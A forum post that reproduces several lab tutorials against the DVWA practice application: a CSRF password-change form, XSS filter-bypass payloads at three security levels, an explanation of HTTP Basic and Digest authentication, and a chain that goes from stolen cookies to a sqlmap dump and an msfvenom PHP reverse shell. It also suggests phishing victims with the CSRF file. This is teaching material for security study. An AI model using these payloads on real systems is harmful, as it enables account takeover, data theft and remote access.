Login

**NINZA** · 04-26-2020, 09:59 AM

0			0

in this article, you will learn Cross-site request forgery attack. For CSRF tutorial I have targeted DVWA and try to bypass low-security level.
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user’s browser.
An attacker may forge a request to log the victim into a target website using the attacker’s credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with his legitimate credentials and view private information.
Reference: en.wikipedia.org/wiki/Cross-site_request_forgery
Let’s start!!!
By default, the credential set for DVWA is admin: password. As you can see I have used them for login in DVWA.
[Image: 0.png?w=687&ssl=1]

Now set security level at low and select the bug cross-site request forgery as a current vulnerability. Here you see the text fields are given for changing the password of the database for user admin.
[Image: 1.png?w=687&ssl=1]

Now open the view source page and copy the highlighted text.
[Image: 2.png?w=687&ssl=1]

Then paste above-copied HTML code inside a text file. If you are aware of HTML coding then it will be very to understand the following syntax inside the notepad which will create a form to reset the password of a web page. Now save the file as csrf.html
[Image: 3.png?w=687&ssl=1]

Now when you will open the csrf.html file it will look like the given below image where it contains the text field for password and a submit button.
[Image: 4.png?w=687&ssl=1]

Now again open csrf.html with notepad to edit the value inside the text field given for new password and confirm the password. In the following screenshot, you can see I have given value= “hacker” as new password and confirm the password. Then again save it with csrf.html
[Image: 5.png?w=687&ssl=1]

Now when again you will open the csrf.html file you will find that the blank text field is given for password is get filled.
[Image: 6.png?w=687&ssl=1]

Now when you will click on change button the password will reset for that web page. This is all about how html form will work and from the given screenshot you can read the sent GET request for changing the password through URL.
[Image: 7.1.png?w=687&ssl=1]

Since this tutorial is related to bypass low security in DVWA, therefore, we need to add target location inside the html form to make CSRF attack for changing the password for admin without his permission.
Now copy the URL as shown in the following image.
[Image: 7.png?w=687&ssl=1]

Again open csrf.html with notepad and replace # from above-copied URL which will directly change the password of targeted location for user admin.
[Image: 8.png?w=687&ssl=1]

Here you can read the final syntax for html form to change the password for admin inside DVWA without his involvement. Now send this crsf.html file to the victim using social engineering or phishing technique to trap the victim for exploiting with CSRF attack.
[Image: 9.png?w=687&ssl=1]

When victim will open the csrf.html file and click on the change button the password will get changed for admin inside DVWA.
[Image: 10.png?w=687&ssl=1]

From the screenshot you can see without admin permission we have successfully changed his password.
[Image: 11.png?w=687&ssl=1]

Now let’s verify, as we know the previous credential was admin: password; here when I try to use them it shows the login failed.
[Image: 12.png?w=687&ssl=1]

Further, when I try with admin: hacker as a current credential, I log in successfully inside DVWA. This was all about CSRF tutorial to bypass low security in DVWA.
[Image: 13.png?w=687&ssl=1]

In the previous tutorial, I have discussed cross-site scripting attack and looked over the damage caused by it. Where I briefly explained the type of XSS vulnerability; now in this tutorial, you will learn how to bypass both type of XSS vulnerability (store and reflected) in all three security levels if the web application is suffering from it.
Reflected Cross-Site Scripting
Set security low
Explore localhost IP in the browser; now log in with admin: password and select the reflected cross-site scripting vulnerability from a given list of vulnerabilities.
[Image: 1.png?w=687&ssl=1]

Now have a look over a small script which would generate an alert window. So in the given text field for “name” I will inject the script in the server.
<script>alert(“helllooo”)</script>
[Image: 2.png?w=687&ssl=1]

The browser will execute our script which generates an alert prompt as showing following screenshot.
In low security, it will easily bypass the injected script when an attacker injects it in the text field given for “name” which should be not left empty according to the developer.
[Image: 3.png?w=687&ssl=1]

Set Security Medium
In medium security, if you visit to view the source of its web page then you will find that the highlighted content has added an extra layer of security to the inserted input in text field given for “name” which will check for a script tag to disable the javascript.
str_replace — Replace all occurrences of the search string with the replacement string And if an attacker tries to inject a script using script tag, the string inside script will get replaced to blank space.
It could be considered as case sensitive because the given PHP script will check for <script> which can be replaced by <SCRIPT> or using another HTML tag to bypass medium security.
[Image: 4.png?resize=672%2C337&ssl=1]

There are two ways either use <SCRIPT> tag or any other HTML element, right now I had used body tag to inject the string.
<body onload=alert(“XSS”)>
[Image: 5.png?resize=672%2C131&ssl=1]

Above script is successfully injected and we have bypassed the medium security. You can see from given screenshot XSS prompt get opened using body tag.
[Image: 6.png?resize=657%2C295&ssl=1]

Set Security High
In high security, the level of security increased where you can easily find preg-replace PHP function is used to perform regular expression to disable the javascript.
Preg_replace – Searches string for matches to pattern and replaces them with replacement.
Now above technique will fail as you can see it will search for each and every valid input character for the text field and replace invalid character into blank space.
[Image: 7-1.png?resize=687%2C314&ssl=1]

To bypass high-security level use element of HTML, as you can see I have used image source tag to generate the string inside the web server.
<img src=x onError=alert(‘XSS’)>
[Image: 8-1.png?resize=686%2C135&ssl=1]

From given below screenshot you see XSS alert prompt.
[Image: 9-1.png?resize=678%2C325&ssl=1]

CONGRATS!!! We have successfully bypassed all three levels of security.
Stored Cross-Site Scripting
Set security low
Now have a look over a small script which would generate an alert window. So in the text area given for message I will inject the script which gets stored in the server.
<script>alert(“helllooo”)</script>
[Image: 10-1.png?resize=687%2C296&ssl=1]

[Image: 10-1.png?resize=687%2C296&ssl=1]

Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing the following screenshot.
[Image: 11-1.png?resize=674%2C334&ssl=1]

[Image: 11-1.png?resize=674%2C334&ssl=1]

Since it gets permanently stored in a web application server therefore before switching to other two levels of security you need to reset the database.
[Image: 12.png?resize=624%2C665&ssl=1]

Set Security Medium
If you remember, in the previous article we have used inspect element to change text area given for message length so that we might able to inject our script inside it. Repeat the same process to change the maximum length given text field of “name”.
[Image: 13.png?resize=687%2C462&ssl=1]

Change “maxlength=10 into maxlength=100”; which will be sufficient area for injecting the content of the script.
[Image: 14.png?resize=455%2C259&ssl=1]

Now type following content inside the text field given for “name”.
<body onload=alert(“XSS”)>
Remember do not leave message box empty.
[Image: 15.png?resize=630%2C280&ssl=1]

Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing the following screenshot.
[Image: 16.png?resize=629%2C326&ssl=1]

Again you need to reset the database.
[Image: 17.png?resize=624%2C665&ssl=1]

Set security High
Repeat the same process to change the max length of the text field given for “name”.
[Image: 18.png?resize=687%2C462&ssl=1]

Change “maxlength=10 into maxlength=100”
[Image: 19-1.png?resize=455%2C259&ssl=1]

Now type following content inside the text field given for “name”.
<img src=x onError=alert(‘xss’)>
Remember do not leave message box empty.
[Image: 20-1.png?resize=683%2C270&ssl=1]

[Image: 20-1.png?resize=683%2C270&ssl=1]

[Image: 21-1.png?resize=680%2C348&ssl=1]

CONGRATS!!! We have successfully bypassed all three levels of security.

HTTP authentication uses methodologies via which web servers and browsers securely exchanges the credentials like usernames and passwords. HTTP authentication or we can also call it as Digest Authentication follows the predefined methods/standards which use encoding techniques and MD5 cryptographic hashing over HTTP protocol.
In this article, we are covering the methodologies/standards used for HTTP Authentication.
For the sake of understanding, we will be using our php scripts that will simply capture user name and passwords and we will generate the Authorization value as per the standards.
For http codes visit

[To see content please register here]

Basic Access Authentication using Base 64 Encoding
In basic Authentication, we will be using base 64 encoding for generating our cryptographic string which contains the information of username and password. Please note we can use any of the encoding techniques like URL, Hexadecimal, or any other we want.
The below example illustrates the concept, we are using Burpsuite for capturing and illustrating the request.
The webpage is asking for input from the client
[Image: 1.png?w=687&ssl=1]

We are providing “hackingarticles” as User Name and “ignite” as a password.
The syntax of Basic Authentication
Value = username:password
Encoded Value = base64(Value)
Authorization Value = Basic <Encoded Value>
In basic authentication username and password are combined into a single string using a colon in between.
Value = hackingarticles:ignite
This string is then encoded using base 64 encoding.
[Image: 2.png?w=687&ssl=1]

Encoded Value = base64 encoded value of hackingarticles:ignite which is aGFja2luZ2FydGljbGVzOmlnbml0ZQ==
Finally, the Authorization Value is obtained by putting the text “Basic” followed by <space> before the encoded value. (We can capture the request using burpsuite to see the result)
[Image: 3.png?w=687&ssl=1]

The Authorization Value for this example is “Basic aGFja2luZ2FydGljbGVzOmlnbml0ZQ==“. This is the value which is sent to the server.
Finally, the server is decrypting the authorization value and returning the entered credentials
[Image: 4.png?w=687&ssl=1]

Basic Authentication is a less secure way because here we are only using encoding and the authorization value can be decoded, In order to enhance the security we have other standards discussed further.
RFC 2069 Digest Access Authentication
Digest Access Authentication uses the hashing methodologies to generate the cryptographic result. Here the final value is sent as a response value.
RFC 2069 authentication is now outdated now and RFC2617 which is an enhanced version of RFC2069 is being used.
For the sake of understanding the syntax of RFC 2069 is explained below.
Syntax of RFC2069
Hash1=MD5(username:realm:password)
Hash2=MD5(method:digestURI)
response=MD5(Hash1:nonce:Hash2)
1
2
3
Hash1=MD5(username:realm:password)
Hash2=MD5(method:digestURI)
response=MD5(Hash1:nonce:Hash2)
Hash1 contains the MD5 hash value of (username:realm:password) where the realm is any string
provided by server and username and passwords are the input provided by the client.
Hash2 contains the MD5 hash value of (method:digestURI) where a method could be got or post depending on the page request and digestURI is the URL of the page where the request is being sent.
the response is the final string which is being sent to the server and contains the MD5 hash value of (hash1:nounce:hash2) where hash1 and hash2 have generated above and nonce is an arbitrary string that could be used only one time provided by the server to the client.
RFC 2617 Digest Access Authentication
RFC 2617 digest authentication also uses MD5 hashing algorithm but the final hash value is generated with some additional parameters
Syntax of RFC2617
Hash1=MD5(username:realm:password)
Hash2=MD5(method:digestURI)
response=MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)
1
2
3
Hash1=MD5(username:realm:password)
Hash2=MD5(method:digestURI)
response=MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)
Hash1 contains the MD5 hash value of (username:realm:password) where realm is any string
Provided by server and username and passwords are the input provided by the client.
Hash2 contains the MD5 hash value of (method:digestURI) where a method could get or post depending on the page request and digestURI is the URL of the page where the request is being sent.
the response is the final string which is being sent to the server and contains the MD5 hash value of (Hash1:nonce:nonceCount:cnonce:qop:Hash2) where Hash1 and Hash2 are generated above
and for more details on other parameters refer to ”

[To see content please register here]

”
The actual working of RFC2617 is described below
The webpage is asking for input from the client
[Image: 5.png?w=687&ssl=1]

We are providing “guest” as User Name and “guest” as a password.
Through burpsuite, we are capturing the request so that all the parameters could be captured and we can compare the hash values captured with the hash values that we will generate through any other tool (hash calculator in this case).
[Image: 6.png?w=687&ssl=1]

We have captured the values for the following parameters
realm="Hacking Articles", nonce="58bac26865505", uri="/auth/02-2617.php", opaque="8d8909139750c6bd277cfe1388314f48", qop=auth, nc=00000001, cnonce="72ae56dde9406045" , response="ac8e3ecd76d33dd482783b8a8b67d8c1",
Hash1 Syntax=MD5(username:realm:password)
hash1 = md5(guest:Hacking Articles:guest)
1
2
3
realm="Hacking Articles", nonce="58bac26865505", uri="/auth/02-2617.php", opaque="8d8909139750c6bd277cfe1388314f48", qop=auth, nc=00000001, cnonce="72ae56dde9406045" , response="ac8e3ecd76d33dd482783b8a8b67d8c1",
Hash1 Syntax=MD5(username:realm:password)
hash1 = md5(guest:Hacking Articles:guest)
The MD5 hash value is calculated as 2c6165332ebd26709360786bafd2cd49
[Image: 7.png?w=687&ssl=1]

Hash2 Syntax =MD5 (method:digestURI)
Hash2=MD5 (GET:/auth/02-2617.php)
[Image: 8.png?w=687&ssl=1]

MD5 hash value is calculated as b6a6df472ee01a9dbccba5f5e6271ca8
response Syntax = MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)
response = MD5(2c6165332ebd26709360786bafd2cd49:58bac26865505:00000001:72ae56dde9406045:auth:b6a6df472ee01a9dbccba5f5e6271ca8)
1
2
response Syntax = MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)
response = MD5(2c6165332ebd26709360786bafd2cd49:58bac26865505:00000001:72ae56dde9406045:auth:b6a6df472ee01a9dbccba5f5e6271ca8)
[Image: 9.png?w=687&ssl=1]

MD5 hash is calculated as ac8e3ecd76d33dd482783b8a8b67d8c1
Finally, the response value obtained through the hash calculator is exactly the same as that we have captured with burp suit above.
Finally, the server is decrypting the response value and the following is the result
[Image: 10.png?w=687&ssl=1]

This article is written to bring awareness among all security researchers and developers so that they may be able to learn the level of damage caused by XSS attack if the web server is suffering from cross-site scripting vulnerability.
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site.
Stored XSS (Persistent or Type I)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5 and other browser technologies, we can envision the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.
Reference: owasp.org
Let’s start!!!
Attacker: Kali Linux
Target: DVWA
For this tutorial I had targeted DVWA and explore localhost IP in the browser; now log in with admin: password and select the stored cross-site scripting vulnerability from a given list of vulnerability.
[Image: 1.png?w=687&ssl=1]

Now have a look over a small script which would generate an alert window. So in the text area given for message I will inject the script which gets stored in the server.
<script>alert(XSS)</script>
1
<script>alert(XSS)</script>
[Image: 2.png?w=687&ssl=1]

Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing the following screenshot.
This was a small demo to show how to inject any script if the server is suffering from XSS and further you will learn what else an attacker can do to cause damage inside a web application server.
[Image: 3.png?w=687&ssl=1]

If the attack is aware that the web server is having XSS then he might think to steal the web cookies which contain session Id, therefore, he will generate a script to fetch running cookies.
In the following screenshot, you can see I have injected the script to get web page cookies.
<script>alert(document.cookie)</script>
1
<script>alert(document.cookie)</script>
[Image: 5.png?w=687&ssl=1]

Here is given below image when I have executed the script I have successfully fetched the browser cookies and now further I will use these cookies for retrieving the data of web application server.
[Image: 6.png?w=687&ssl=1]

SQL Injection with XSS
It might be possible that the web application server has more than one vulnerabilities, let assume if it is also having SQL injection vulnerability then it becomes very easy for an attacker to retrieve the data from its database using stolen cookies.
For example in DVWA I switch from XSS to SQL injection; now copy its URL with user ID=1.
[Image: 7.png?w=687&ssl=1]

From above we have browser cookie and target URL for making SQL injection attack. Now open the terminal in your Kali Linux and use above cookie and URL inside the command of sqlmap as shown in the screenshot
sqlmap -u "http://192.168.1.8/dvwa/vulnerbilities/sqli/?id=1&submit=submit" --cookie="security=low; PHPSESSID=r12pk67cuq3s7eo4iktb88sud2" –dbs --batch
1
sqlmap -u "http://192.168.1.8/dvwa/vulnerbilities/sqli/?id=1&submit=submit" --cookie="security=low; PHPSESSID=r12pk67cuq3s7eo4iktb88sud2" –dbs --batch
[Image: 8.png?w=687&ssl=1]

Hence you can see it has fetched all present database names inside the database system.
[Image: 9.png?w=687&ssl=1]

Gaining Shell Access with XSS
Now let assume if the server is suffering from XSS as well as file uploading both vulnerabilities; in this case how an attacker would be able to cause harm to the web application server.
Firstly let’s prepare our malicious PHP file for uploading in web server. As we always use msfvenom for this purpose and then save the generated PHP codes in a text file as shell.php
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 –f raw
1
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 –f raw
[Image: 11.png?w=687&ssl=1]

Again I switched to file uploading vulnerability in DVWA to upload shell.php and from the screenshot, you can see our shell.php file is successfully uploaded now copy the highlighted path.
[Image: 12.png?w=687&ssl=1]

Start multi handler inside the Metasploit framework.
[Image: 13.png?w=687&ssl=1]

Here the text area given for message length is not sufficient to inject our next script, therefore, make right click on the window and select inspect element to view it’s given message length for the text area.
[Image: 14.png?w=687&ssl=1]

Here you can see message length for text area is decided as “50”.
[Image: 16.png?w=687&ssl=1]

Change message length from “50 to 500” so that it becomes easy to inject our next script.
[Image: 16.png?w=687&ssl=1]

Now in the following screenshot, you can see I have injected the path of the uploaded file in the script which will get saved in the server. When the user clicks on it to read the message he will execute our shell.php file which provides a reverse connection on the attacker machine.
<script>window.location=“http://192.168.1.8/dvwa/hackable/upload/shell.php”</script>
1
<script>window.location=“http://192.168.1.8/dvwa/hackable/upload/shell.php”</script>
[Image: 17.png?w=687&ssl=1]

Here you can see as soon as the script will execute it has shown meterpreter session for victim’s PC.
meterpreter>sysinfo
1
meterpreter>sysinfo
[Image: 18.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis